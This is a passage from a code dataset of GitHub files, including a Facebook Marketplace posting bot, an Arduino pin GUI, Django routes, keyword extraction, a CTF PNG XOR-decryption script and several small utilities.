nothing\r\n\tif not title_element:\r\n\t\treturn\r\n\r\n\t# Create an array for group names by spliting the string by this symbol \";\"\r\n\tgroup_names = data['Groups'].split(';')\r\n\r\n\t# If the groups are empty do not do nothing\r\n\tif not group_names:\r\n\t\treturn\r\n\r\n\tsearch_input_selector = '[aria-label=\"Search for groups\"]'\r\n\r\n\t# Post in different groups\r\n\tfor group_name in group_names:\r\n\t\t# Click on the Share button to the listing that we want to share\r\n\t\tscraper.element_click('[aria-label=\"' + title + '\"] + div [aria-label=\"Share\"]')\r\n\t\t# Click on the Share to a group button\r\n\t\tscraper.element_click_by_xpath('//span[text()=\"Share to a group\"]')\r\n\r\n\t\t# Remove whitespace before and after the name\r\n\t\tgroup_name = group_name.strip()\r\n\r\n\t\t# Remove current text from this input\r\n\t\tscraper.element_delete_text(search_input_selector)\r\n\t\t# Enter the title of the group in the input for search\r\n\t\tscraper.element_send_keys(search_input_selector, group_name)\r\n\t\r\n\t\tscraper.element_click_by_xpath('//span[text()=\"' + group_name + '\"]')\r\n\t\t\r\n\t\tif (scraper.find_element('[aria-label=\"Create a public post…\"]', False, 3)):\r\n\t\t\tscraper.element_send_keys('[aria-label=\"Create a public post…\"]', data['Description'])\r\n\t\telif (scraper.find_element('[aria-label=\"Write something...\"]', False, 3)):\r\n\t\t\tscraper.element_send_keys('[aria-label=\"Write something...\"]', data['Description'])\r\n\t\t\r\n\t\tscraper.element_click('[aria-label=\"Post\"]:not([aria-disabled])')\r\n\t\t# Wait till the post is posted successfully\r\n\t\tscraper.element_wait_to_be_invisible('[role=\"dialog\"]')\r\n\t\tscraper.element_wait_to_be_invisible('[aria-label=\"Loading...]\"')\r\n\t\tscraper.find_element_by_xpath('//span[text()=\"Shared to your group.\"]', False, 10)\r\n\r\ndef find_listing_by_title(title, scraper):\r\n\tsearchInput = scraper.find_element('input[placeholder=\"Search your listings\"]', False)\r\n\t# Search input field is not existing\t\r\n\tif not searchInput:\r\n\t\treturn False\r\n\t\r\n\t# Clear input field for searching listings before entering title\r\n\tscraper.element_delete_text('input[placeholder=\"Search your listings\"]')\r\n\t# Enter the title of the listing in the input for search\r\n\tscraper.element_send_keys('input[placeholder=\"Search your listings\"]', title)\r\n\t\r\n\treturn scraper.find_element_by_xpath('//span[text()=\"' + title + '\"]', False, 10)\r\n","repo_name":"GeorgiKeranov/facebook-marketplace-bot","sub_path":"helpers/listing_helper.py","file_name":"listing_helper.py","file_ext":"py","file_size_in_byte":8749,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"18"}
{"seq_id":"6976918845","text":"import serial\nimport tkinter as tk\nfrom tkinter import ttk\nfrom serial.tools import list_ports\n\nser = None\n\ndef set_port(port):\n    global ser\n    # Update the serial object with the specific port\n    ser = serial.Serial(port=port, baudrate=9600, timeout=1)\n\ndef toggle_pin(pin_number, value):\n    global ser\n    if ser is not None and ser.is_open:\n        # Send the command to the Arduino\n        ser.write(f\"{str(pin_number)}:{value}\".encode())\n        print(f\"{pin_number}:{value}\".encode())\n        #print(f\"Pin {pin_number}:{value}\")\n\ndef setup_gui():\n    # Create the GUI window\n    window = tk.Tk()\n    window.title(\"Arduino Pin-checker\")\n    window.geometry(\"400x700\")\n\n    # Create a drop-down menu to select the serial port\n    port_label = ttk.Label(window, text=\"Select Serial Port\", font=(\"Arial Bold\", 20))\n    port_label.pack()\n    port_var = tk.StringVar()\n    ports = [port.device for port in list_ports.comports()]\n    port_menu = ttk.Combobox(window, width=20, textvariable=port_var, values=ports)\n    port_menu.pack()\n\n    # Create two frames for the digital and analog pins\n    digital_pins_frame = tk.Frame(window)\n    digital_pins_frame.pack(side=tk.LEFT, padx=20, pady=20)\n    analog_pins_frame = tk.Frame(window)\n    analog_pins_frame.pack(side=tk.LEFT, padx=20, pady=20)\n\n    # Create a switch for each digital pin on the Arduino Uno\n    for pin_number in range(2, 14):\n        pin_switch_var = tk.IntVar()\n        pin_switch = tk.Checkbutton(digital_pins_frame, text=f\"Pin {pin_number}\", font=(\"Arial Bold\", 20), variable=pin_switch_var, onvalue=1, offvalue=0, command=lambda pin_number=pin_number, pin_switch_var=pin_switch_var: toggle_pin(pin_number, pin_switch_var.get()), padx=30, pady=5)\n        pin_switch.pack()\n\n    # Create a switch for each analog pin on the Arduino Uno\n    for pin_number in range(6):\n        pin_switch_var = tk.IntVar()\n        pin_switch = tk.Checkbutton(analog_pins_frame, text=f\"A{pin_number}\", font=(\"Arial Bold\", 20), variable=pin_switch_var, onvalue=1, offvalue=0, command=lambda pin_number=pin_number, pin_switch_var=pin_switch_var: toggle_pin(f\"A{pin_number}\", pin_switch_var.get()), padx=30, pady=5)\n        pin_switch.pack()\n\n    # Configure the serial port\n    port_menu.bind(\"<<ComboboxSelected>>\", lambda event: set_port(port_var.get()))\n\n    # Start the GUI event loop\n    window.mainloop()\n\n\nif __name__ == \"__main__\":\n    setup_gui()\n","repo_name":"eliasbitsch/robot-car","sub_path":"pinChecker.py","file_name":"pinChecker.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12483082542","text":"from . import views\nfrom .views import EditCommentView, DeleteCommentView\nfrom django.urls import path\n\nurlpatterns = [\n    path('', views.PostList.as_view(), name='home'),\n    path('about/', views.AboutPage.as_view(), name='about'),\n    path('contact/', views.ContactPage.as_view(), name='contact'),\n    path('<slug:slug>/', views.PostDetail.as_view(), name='post_detail'),\n    path('like/<slug:slug>', views.PostLike.as_view(), name='post_like'),\n    path(\n        'edit/<int:comment_id>',\n        EditCommentView.as_view(),\n        name='edit_comment'\n    ),\n    path(\n        'delete/<int:comment_id>',\n        DeleteCommentView.as_view(),\n        name='delete_comment'\n    ),\n]\n","repo_name":"Supersheep50/jons-videogame-news","sub_path":"NEWS/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"961255637","text":"import wave, struct\n\nprint(\"Script started...\")\n\n# Read all of the values from the numbers file\n# and store in a list of type float.\n# The value is multlied by ≈ ±32767 as using 16-bit integers.\nframe = []\nwith open(\"inputOut.txt\", \"r\") as f:\n    for sample in f:\n        frame.append(float(sample) * 0.9)\n        #if float(sample) > 1.0:\n        #    frame.append( 1 )\n        #else:\n        #    frame.append( int (float(sample) * 32767.0) )\n\n# Initialise information for writing to a wav file.\nsampleRate = 96000.0 # hertz\nwavef = wave.open('inputOut.wav','w')\nwavef.setnchannels(1) # mono\nwavef.setsampwidth(2) # ' 16 bits - 2 bytes - DO NOT CHANGE!!!\nwavef.setframerate(sampleRate)\n\n# Cycle through each sample in the frame and\n# write into the wav file.\nfor sample in frame:\n    print( int(sample) )\n    data = struct.pack('<h', int (sample) )\n    wavef.writeframesraw(data);\n\nwavef.close()\n\nprint(\"...script complete!\")\n","repo_name":"thecoreyford/Undergrad-Internship","sub_path":"artefacts/preliminary tests/faust2wav.py","file_name":"faust2wav.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"12829694415","text":"\"\"\" Test saved .json group files for errors.\n\"\"\"\n\nimport sys\nfrom utils import message\nfrom classes.group import Group\n\n\ndef run():\n    \"\"\"Run sanity tests on package files\"\"\"\n    message.info(\"Checking for package errors...\")\n    groups = Group.load_all()\n    errors_found = 0\n\n    for group in groups:\n        files = group.files\n        packages = group.packages\n\n        for package in packages:\n            errors_found += package.evaluate()\n\n            for _file in package.files:\n                errors_found += _file.evaluate()\n\n        for _file in files:\n            errors_found += _file.evaluate()\n\n    if errors_found > 0:\n        message.alert(\n            f\"{errors_found} errors found. It is highly recommended to fix them before proceeding.\"\n        )\n        if not message.question(\"Proceed without fixing?\", \"boolean\"):\n            sys.exit(1)\n    else:\n        message.info(\"No errors found\")\n\n    message.break_line()\n","repo_name":"Vinesma/.dotfiles","sub_path":"install/utils/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73951751401","text":"\"\"\"\n\tEjecutamos la la función principal para realizar los thumbnails.\n\"\"\"\nimport os\nfrom ..thumbnails.thumbnails import *\nfrom config import Config\n\nURL_VIDEOS = Config.VIDEO_FOLDER\nURL_THUMBNAILS = os.getcwd()\nURL_THUMBNAILS = URL_THUMBNAILS[:URL_THUMBNAILS.rfind(\"/\")+1]\nURL_THUMBNAILS += Config.FOLDER_THUMBNAILS #'views/templates/img/thumbnails'\n\n\ndef make_thumbnails():\n\tthumbnail = Thumbnails()\n\tfor folderName, subfolders, filenames in os.walk(URL_VIDEOS):\n\t\tif folderName[-1:] == \"_\":\n\t\t\tcontinue\n\t\tprint('The current folder is ' + folderName)\n\t \n\t\tfor subfolder in subfolders:\n\t\t\tfolder_ubication = folderName.replace(URL_VIDEOS, URL_THUMBNAILS)\n\t\t\tif subfolder[-1:] == \"_\":\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tif not (os.path.exists(f'{folder_ubication}/{subfolder}')):\n\t\t\t\tprint(thumbnail.make_folder(subfolder, folder_ubication))\n\t\t\t\tcontinue\n\t\t\tprint(f\"Folder already exists ({subfolder})\")\n\t \t\n\t\tfor file in filenames:\n\t\t\tfolder_ubication = folderName.replace(URL_VIDEOS, URL_THUMBNAILS)\n\t\t\tif os.path.exists(f'{folder_ubication}/{file[:-4]}.jpg'):\n\t\t\t\tprint(f\"File already exists ({file})\")\n\t\t\t\tcontinue\n\n\t\t\timage_thumbnail = thumbnail.make_thumbnail(file, folderName)\n\t\t\timage   = thumbnail.make_thumbnail_image(image_thumbnail)\n\t\t\timage   = thumbnail.resize_image(image, width = 350, height = 200)\n\t\t\tmessage = thumbnail.save_image(image, folder_ubication, file)\n\t\t\tprint(message)\n\n\t\tprint('')\n\nif __name__ == '__main__':\n\t#make_thumbnails()\n\tcontinue","repo_name":"YilverQ/movie-server","sub_path":"app/thumbnails/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6482545272","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nimport six\n\n__author__ = 'a_medelyan'\n\nimport textrank\nimport rake\nimport operator\nimport re\nfrom summa import summarizer\n\n# EXAMPLE ONE - SIMPLE\nstoppath = \"SmartStoplist.txt\"\n\nkeyword_shortlist_length = 3\n\n\ndef extractWords(sentence, min_char_len, max_word_length, min_frq, summary_word_length):\n    # 1. initialize RAKE by providing a path to a stopwords file\n    rake_object = rake.Rake(stoppath, min_char_len, max_word_length, min_frq)\n\n    # # 2. run on RAKE on a given text\n    # sample_file = io.open(\"data/docs/fao_test/06_450.xml\", 'r',encoding=\"iso-8859-1\")\n    # text = sample_file.read()\n\n    keywords = rake_object.run(sentence)\n\n    summary = summarizer.summarize(sentence, words=summary_word_length)\n\n    #summary2 = textrank.extractSentences(sentence)\n\n    #print(summary)\n    print(\"~~~~ generating Catchphrases ~~~~\")\n    print(\"~~~~ generating Summary ~~~~\")\n    print(\"############################################\")\n    #print(summary2)\n\n    # return keywords\n\n    # # 3. print results\n    # # keywords.sort(key=lambda x: x[1])\n    # # print(\"Keywords:\", keywords)\n    #\n    # print(\"----------\")\n    # # EXAMPLE TWO - BEHIND THE SCENES (from https://github.com/aneesha/RAKE/rake.py)\n    #\n    # # 1. initialize RAKE by providing a path to a stopwords file\n    rake_object = rake.Rake(stoppath)\n    #\n    # # text = \"Compatibility of systems of linear constraints over the set of natural numbers. Criteria of compatibility \" \\\n    # #      \"of a system of linear Diophantine equations, strict inequations, and nonstrict inequations are considered. \" \\\n    # #       \"Upper bounds for components of a minimal set of solutions and algorithms of construction of minimal generating\"\\\n    # #       \" sets of solutions for all types of systems are given. These criteria and the corresponding algorithms \" \\\n    # #       \"for constructing a minimal supporting set of solutions can be used in solving all the considered types of \" \\\n    # #       \"systems and systems of mixed types.\"\n    #\n    #\n    #\n    # # 1. Split text into sentences\n    sentenceList = rake.split_sentences(sentence)\n    sentenceList = [re.sub(\"\\s\\s+\", \" \", sentence) for sentence in sentenceList]\n    # sentenceList = list(filter(None, sentenceList))\n    # print(\"=========================================================================================\")\n    # print(\"=========================================================================================\")\n    # print(\"=========================================================================================\")\n    # for sentence in sentenceList:\n    #     sentense = re.sub(\"\\s\\s+\", \" \", sentence)\n    # for sentence in sentenceList:\n    #     print(\"Sentence:\", sentence)\n    # print(\"=========================================================================================\")\n    # print(\"=========================================================================================\")\n    # print(\"=========================================================================================\")\n    # # generate candidate keywords\n    stopwordpattern = rake.build_stop_word_regex(stoppath)\n    phraseList = rake.generate_candidate_keywords(sentenceList, stopwordpattern)\n    # # print(\"Phrases:\", phraseList)\n    #\n    # # calculate individual word scores\n    wordscores = rake.calculate_word_scores(phraseList)\n    #\n    # # generate candidate keyword scores\n    keywordcandidates = rake.generate_candidate_keyword_scores(phraseList, wordscores)\n    # # for candidate in keywordcandidates.keys():\n    # #    print(\"Candidate: \", candidate, \", score: \", keywordcandidates.get(candidate))\n    #\n    # # sort candidates by score to determine top-scoring keywords\n\n    max_key = (max(keywordcandidates, key=keywordcandidates.get))\n    max_value = (keywordcandidates[max_key])\n\n    for key, value in keywordcandidates.iteritems():\n        if(key in summary):\n            keywordcandidates[key] = value + max_value\n\n\n\n    sortedKeywords = sorted(six.iteritems(keywordcandidates), key=operator.itemgetter(1), reverse=True)\n    totalKeywords = len(sortedKeywords)\n    sortedKeywords = sortedKeywords[:15]\n\n    return sortedKeywords, summary\n    #\n    # for example, you could just take the top third as the final keywords\n    # for keyword in sortedKeywords[0:int(totalKeywords / keyword_shortlist_length)]:\n    #     print(\"Keyword: \", keyword[0], \", score: \", keyword[1])\n\n\n\n","repo_name":"bharathimit/LNHack","sub_path":"rake_tutorial.py","file_name":"rake_tutorial.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28108883580","text":"#!/usr/bin/env python3\nfrom pwn import xor\nfrom random import randint\nfrom os import urandom\n\n\noutput_img = open(\"flag.png\", \"wb\")\ninput_img = open(\"flag.png.enc\", \"rb\").read()\n\nheader = b\"\\x89\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\"\nkey = [0]*9\nfor i in range(9):\n    key[i] = int(input_img[i]) ^ int(header[i])\noutput_img.write(xor(input_img, key))\n","repo_name":"onealmond/hacking-lab","sub_path":"heroctf-v3/h4XOR/decrypt.py","file_name":"decrypt.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"18"}
{"seq_id":"26050667911","text":"# use both to call the same function\ndef myFunc1(arg1, arg2, arg3):\n    print(arg1, arg2, arg3)\n\nargs = [1, 2, 3]\nmyFunc1(*args)\nkwargs = {'arg1': 1, 'arg2': 2, 'arg3': 3}\nmyFunc1(**kwargs)\n\n# use both kind arguments in the same function call\n\"use both kind arguments in the same function call\"\ndef myFunc2(*args, **kwargs):\n    print(args)\n    print(kwargs)\n\nargs = [1, 2, 3]\nkwargs = {'arg1': 1, 'arg2': 2, 'arg3': 3}    \nmyFunc2(args, kwargs)\n\n","repo_name":"Sudipta0102/PyBasic","sub_path":"06.Functions/02.TypesOfArguments/3.Variable-lengthArguments/ArgsAndKwargs.py","file_name":"ArgsAndKwargs.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72628064360","text":"from abc import ABC, abstractmethod\nfrom items import Item\nfrom player import Player\nfrom stats import Stats\nfrom enemy import Enemy\n\nclass World():\n    \"\"\"\n    Represents the game world in a 2D environment. This class serves as a base\n    for creating different types of game worlds.\n\n    Attributes:\n        map_tiles (list): A list to hold the details of all the tiles in the world.\n        obstacle_tiles (list): A list of tiles that act as obstacles in the world.\n        exit_tile (object): A reference to the tile that acts as an exit or goal.\n        item_list (list): A list of items that are present in the world.\n        player (object): A reference to the player character in the world.\n        character_list (list): A list of non-player characters, typically enemies.\n    \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"\n        Initializes the World object with empty structures for its components.\n        \"\"\"\n        self.map_tiles = []\n        self.obstacle_tiles = []\n        self.exit_tile = None\n        self.item_list = []\n        self.player = None\n        self.character_list = []  # Enemy list\n\n    @abstractmethod\n    def process_data(self) -> None:\n        \"\"\"\n        Abstract method to process world data. This method should be implemented\n        in subclasses to define how world data is processed.\n        \"\"\"\n        pass\n\n    @abstractmethod\n    def setup_tiles(self, tile, tile_data, tile_list, item_images, mob_animations) -> None:\n        \"\"\"\n        Abstract method to setup tiles in the world. This method should be implemented\n        in subclasses to define which tiles are setup in the world.\n        \"\"\"\n        pass\n\n    def update(self, screen_scroll) -> None:\n        \"\"\"\n        Updates the position of all tiles in the world based on screen scrolling.\n        \"\"\"\n        for tile in self.map_tiles:\n            tile[2] += screen_scroll[0]  # Update x-coordinate\n            tile[3] += screen_scroll[1]  # Update y-coordinate\n            tile[1].center = (tile[2], tile[3])  # Update tile center position\n\n    def draw(self, surface) -> None:\n        \"\"\"\n        Draws the tiles of the world onto a given surface.\n        \"\"\"\n        for tile in self.map_tiles:\n            surface.blit(tile[0], tile[1])  # Draw each tile on the surface\n\n    def handle_colliding_tile(self, tile, tile_data) -> None:\n        \"\"\"\n        Handles the creation of colliding tiles (obstacles and exits) on the map.\n        \"\"\"\n        if tile == 7:\n            self.obstacle_tiles.append(tile_data) # Obstacle\n        else:\n            self.exit_tile = tile_data # Exit\n\n    def handle_items(self, tile, tile_data, item_images, tile_list) -> None:\n        \"\"\"\n        Handles the creation of items on the map.\n        \"\"\"\n        if tile == 9: # Bone\n            bone = Item(tile_data[2], tile_data[3], 0, item_images[0])\n            self.item_list.append(bone)\n            \n        else: # Potion\n            potion = Item(tile_data[2], tile_data[3], 1, [item_images[1]])\n            self.item_list.append(potion)\n\n        tile_data[0] = tile_list[0]\n\n    def handle_enemies(self, tile, tile_data, mob_animations, tile_list) -> None:\n        \"\"\"\n        Handles the creation of enemies on the map.\n        \"\"\"\n        enemy = Enemy(tile_data[2], tile_data[3], mob_animations, tile - 11, 1, Stats(120))\n        self.character_list.append(enemy)\n        tile_data[0] = tile_list[0] \n\n    def handle_player(self, tile_data, mob_animations, tile_list) -> None:\n        \"\"\"\n        Handles the creation of the player character on the map.\n        \"\"\"\n        player = Player(tile_data[2], tile_data[3], mob_animations, 0, 1, Stats(100))\n        self.player = player\n        tile_data[0] = tile_list[0]","repo_name":"desparza13/PawtectTheRealm","sub_path":"world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"2001642725","text":"# %%\nimport pandas as pd\n\n# %%\nl_cols = [\n    'age'\n    ,'workclass'\n    ,'fnlwgt'\n    ,'education'\n    ,'education_num'\n    ,'marital_status'\n    ,'occupation'\n    ,'relationship'\n    ,'race'\n    ,'male_female'\n    ,'capital_gain'\n    ,'capital_loss'\n    ,'hours_per_week'\n    ,'native_country'\n    ,'income_group'\n    ]\ndf = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data', index_col=False, names=l_cols)\ndf.head()\n\n# %%\ndf['fnlwgt'] = (df.fnlwgt / df.fnlwgt.min()).round()\n\n# %%\ndf = df.loc[df.index.repeat(df.fnlwgt)].reset_index(drop=True)\nprint(len(df))\ndf.head()\n\n# %%\ndf.drop(columns='fnlwgt', inplace=True)\n\n# %%\ndf.to_csv('uci_census_data.csv', index=False)\n\n# %%\nratio_fm = len(df.query('male_female == \" Male\"')) / len(df.query('male_female == \" Female\"')) \ndf['fm'] = df.male_female.apply(lambda x: ratio_fm if x == \" Female\" else 1)\ndf = df.loc[df.index.repeat(df.fm)].reset_index(drop=True)\ndf.drop(columns=['fm'], inplace=True)\ndiff_fm = len(df.query('male_female == \" Male\"')) - len(df.query('male_female == \" Female\"'))\ndf_fsamp = df.query('male_female == \" Female\"').sample(diff_fm)\ndf = pd.concat([df, df_fsamp]).reset_index(drop=True)\nprint(len(df))\n\n# %%\ndf.to_csv('uci_census_data_balanced.csv', index=False)\n\n# %%\ndf.head()","repo_name":"Joshkking/EduSocialMediaDSHelper","sub_path":"EduSocialMediaDSHelper/create_uci_census_data.py","file_name":"create_uci_census_data.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"44212014438","text":"#!/usr/bin/env python3\nimport re\n\n\ndef name_score(name, pos):\n    \"\"\"Returns the name score of name.\n    The name score is computed as follows:\n        score = pos * sum of the alpha ordering of the character name.\n    pos is the position starting from 1 of the name from a list\n    Example:\n        if name is Collin and pos = 934\n        sum = 3 + 15 + 12 + 12 + 9 + 14\n        score = 934 * sum.\"\"\"\n    name = name.lower()\n    sum_alpha_pos = 0\n    for i in name:\n        sum_alpha_pos += ord(i)\n    sum_alpha_pos -= (ord('a') - 1) * len(name)\n    return sum_alpha_pos * pos\n\n\ndef main():\n    with open('names.txt') as inp:\n        list_of_names = re.findall(pattern='(?:\\\")([^\"]*)(?:\\\"\\,?)',\n                string=inp.read())\n\n    list_of_names.sort()\n\n    sum_name_score = sum(map(name_score, list_of_names,\n        range(1, len(list_of_names) + 1)))\n    print(sum_name_score)\n\n\nif __name__ == '__main__':\n    from timeit import Timer\n    stmt = 'from __main__ import main; main()'\n    print('time =', Timer(stmt=stmt).timeit(1))\n","repo_name":"mijikai/euler-python","sub_path":"P022.py","file_name":"P022.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36669660633","text":"from miro.gtcache import gettext as _\n\nfrom miro.frontends.widgets import itemlistcontroller\nfrom miro.frontends.widgets.itemlistwidgets import (\n    ItemView, HideableSection, ItemContainerWidget, DownloadToolbar,\n    DownloadStatusToolbar, ItemListTitlebar)\nfrom miro.frontends.widgets import itemcontextmenu\nfrom miro.frontends.widgets import imagepool\nfrom miro.frontends.widgets import itemlist\nfrom miro.frontends.widgets import prefpanel\n\nfrom miro import messages\nfrom miro import downloader\nfrom miro.plat import resources\nfrom miro.plat.frontends.widgets import widgetset\n\nclass DownloadsController(itemlistcontroller.ItemListController):\n    def __init__(self):\n        itemlistcontroller.ItemListController.__init__(self, 'downloading', None)\n        for item_list in self.item_list_group.item_lists:\n            item_list.resort_on_update = True\n\n    def build_widget(self):\n        self._make_item_views()\n\n        self.titlebar = self.make_titlebar()\n        self.widget.titlebar_vbox.pack_start(self.titlebar)\n\n        self.toolbar = DownloadToolbar()\n        self.toolbar.connect(\"pause-all\", self._on_pause_all)\n        self.toolbar.connect(\"resume-all\", self._on_resume_all)\n        self.toolbar.connect(\"cancel-all\", self._on_cancel_all)\n        self.toolbar.connect(\"settings\", self._on_settings)\n\n        self.widget.titlebar_vbox.pack_start(self.toolbar)\n\n        vbox = widgetset.VBox()\n        vbox.pack_start(self.indydownloads_section)\n        vbox.pack_start(self.downloads_section)\n        vbox.pack_start(self.seeding_section)\n\n        background = widgetset.SolidBackground((1, 1, 1))\n        background.add(vbox)\n\n        scroller = widgetset.Scroller(False, True)\n        scroller.add(background)\n\n        self.widget.normal_view_vbox.pack_start(scroller, expand=True)\n\n        self.status_toolbar = DownloadStatusToolbar()\n        self.widget.statusbar_vbox.pack_start(self.status_toolbar)\n\n        self._update_free_space()\n\n    def make_titlebar(self):\n        image_path = resources.path(\"images/icon-downloading_large.png\")\n        icon = imagepool.get(image_path)\n        titlebar = ItemListTitlebar(_(\"Downloads\"), icon)\n        titlebar.connect('search-changed', self._on_search_changed)\n        return titlebar\n\n    def make_context_menu_handler(self):\n        return itemcontextmenu.ItemContextMenuHandler()\n\n    def _make_item_views(self):\n        self.indydownloads_view = ItemView(\n            itemlist.IndividualDownloadItemList())\n        self.indydownloads_section = HideableSection(\n            _(\"Single and external downloads\"), self.indydownloads_view)\n\n        self.downloads_view = ItemView(itemlist.ChannelDownloadItemList())\n        self.downloads_section = HideableSection(\n            _(\"Feed downloads\"), self.downloads_view)\n\n        self.seeding_view = ItemView(itemlist.SeedingItemList())\n        self.seeding_section = HideableSection(_(\"Seeding\"), self.seeding_view)\n\n    def normal_item_views(self):\n        return [self.indydownloads_view, self.downloads_view, self.seeding_view]\n\n    def default_item_view(self):\n        return self.downloads_view\n\n    def _on_search_changed(self, widget, search_text):\n        self.set_search(search_text)\n\n    def _update_free_space(self):\n        self.status_toolbar.update_free_space()\n\n    def _on_pause_all(self, widget):\n        messages.PauseAllDownloads().send_to_backend()\n\n    def _on_resume_all(self, widget):\n        messages.ResumeAllDownloads().send_to_backend()\n\n    def _on_cancel_all(self, widget):\n        messages.CancelAllDownloads().send_to_backend()\n\n    def _on_settings(self, widget):\n        prefpanel.show_window(\"downloads\")\n\n    def _expand_lists_initially(self):\n        self.indydownloads_section.show()\n        self.downloads_section.show()\n\n        if len(self.indydownloads_view.item_list.get_items()) > 0:\n            self.indydownloads_section.show()\n        else:\n            self.indydownloads_section.hide()\n\n        if len(self.downloads_view.item_list.get_items()) > 0:\n            self.downloads_section.show()\n        else:\n            self.downloads_section.hide()\n\n        if len(self.seeding_view.item_list.get_items()) > 0:\n            self.seeding_section.show()\n        else:\n            self.seeding_section.hide()\n\n        self.indydownloads_section.expand()\n        self.downloads_section.expand()\n        self.seeding_section.expand()\n\n    def on_initial_list(self):\n        self._expand_lists_initially()\n\n    def on_items_changed(self):\n        self.status_toolbar.update_rates(\n            downloader.total_down_rate, downloader.total_up_rate)\n\n        if len(self.indydownloads_view.item_list.get_items()) > 0:\n            self.indydownloads_section.show()\n        else:\n            self.indydownloads_section.hide()\n\n        if len(self.downloads_view.item_list.get_items()) > 0:\n            self.downloads_section.show()\n        else:\n            self.downloads_section.hide()\n\n        if len(self.seeding_view.item_list.get_items()) > 0:\n            self.seeding_section.show()\n        else:\n            self.seeding_section.hide()\n","repo_name":"cool-RR/Miro","sub_path":"tv/lib/frontends/widgets/downloadscontroller.py","file_name":"downloadscontroller.py","file_ext":"py","file_size_in_byte":5094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"37178409569","text":"#!/usr/bin/python\n\nfrom concurrent import futures\nimport logging\n\nimport grpc\nfrom dwc_pb2 import DwcRequest, DwcResponse\nimport dwc_pb2_grpc\n\n\nclass Dwc(dwc_pb2_grpc.DistributedWordCounterServicer):\n    def count(self, request: DwcRequest, context):\n        words = request.words\n        word_frequency = {}\n        for w in words:\n            if w not in word_frequency:\n                word_frequency[w] = 1\n            else:\n                word_frequency[w] += 1\n\n        print(word_frequency)\n        return DwcResponse(word_frequency=word_frequency)\n\n\ndef serve():\n    PORT = '50051'\n    server = grpc.server(futures.ThreadPoolExecutor(max_workers=5))\n    dwc_pb2_grpc.add_DistributedWordCounterServicer_to_server(Dwc(), server)\n    server.add_insecure_port('[::]:' + PORT)\n    server.start()\n    print('Server started, listening on ' + PORT)\n\n    server.wait_for_termination()\n\n\nif __name__ == '__main__':\n    logging.basicConfig()\n    serve()\n","repo_name":"yudi-azvd/pspd","sub_path":"labs/01-rpc-grpc/c-grpc/dwc_server.py","file_name":"dwc_server.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"2616291578","text":"\"\"\"empty message\n\nRevision ID: 303f9c5c8ea4\nRevises: 4825b030f4f5\nCreate Date: 2019-05-10 16:25:12.832231\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '303f9c5c8ea4'\ndown_revision = '4825b030f4f5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('theme', sa.Column('cover_image', sa.String(length=512), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('theme', 'cover_image')\n    # ### end Alembic commands ###\n","repo_name":"teliportme/remixvr","sub_path":"backend/migrations/versions/303f9c5c8ea4_.py","file_name":"303f9c5c8ea4_.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":139,"dataset":"github-code","pt":"18"}
{"seq_id":"37984338955","text":"from tkinter import *\r\nimport monte_carlo\r\nfrom PIL import ImageTk, Image\r\n\r\nclass Monte_Window:\r\n\r\n\r\n    def monte_func(self):\r\n        self.time_interval = int(self.monte_input.get())\r\n        self.monte_obj = monte_carlo.Monte_carlo(self.time_interval)\r\n        self.monte_obj.start()\r\n        self.monte_input.delete(0, END)\r\n\r\n    def __init__(self):\r\n        self.window = Tk()\r\n        self.window.title(\"Monte Carlo\")\r\n        self.window.geometry(\"800x600\")\r\n        self.window.configure(bg='black')\r\n\r\n        self.heading = Label(self.window, text=\"Monte Carlo\", font=(\"Helvetica 16\"), bg=\"black\", fg=\"cyan\")\r\n        self.frame1 = LabelFrame(self.window, text=\"What is Monte Carlo Simulation?\", bg=\"black\", font=(\"Helvetica\", 12), fg=\"yellow\", padx=5, pady=5)\r\n        self.describe = Label(self.frame1, bg=\"black\", fg=\"cyan\", text=\"Monte Carlo Simulation, also known as the Monte Carlo Method or\\na multiple probability simulation, is a mathematical technique,\\nwhich is used to estimate the possible outcomes of an uncertain event.\", font=(\"Helvetica\", 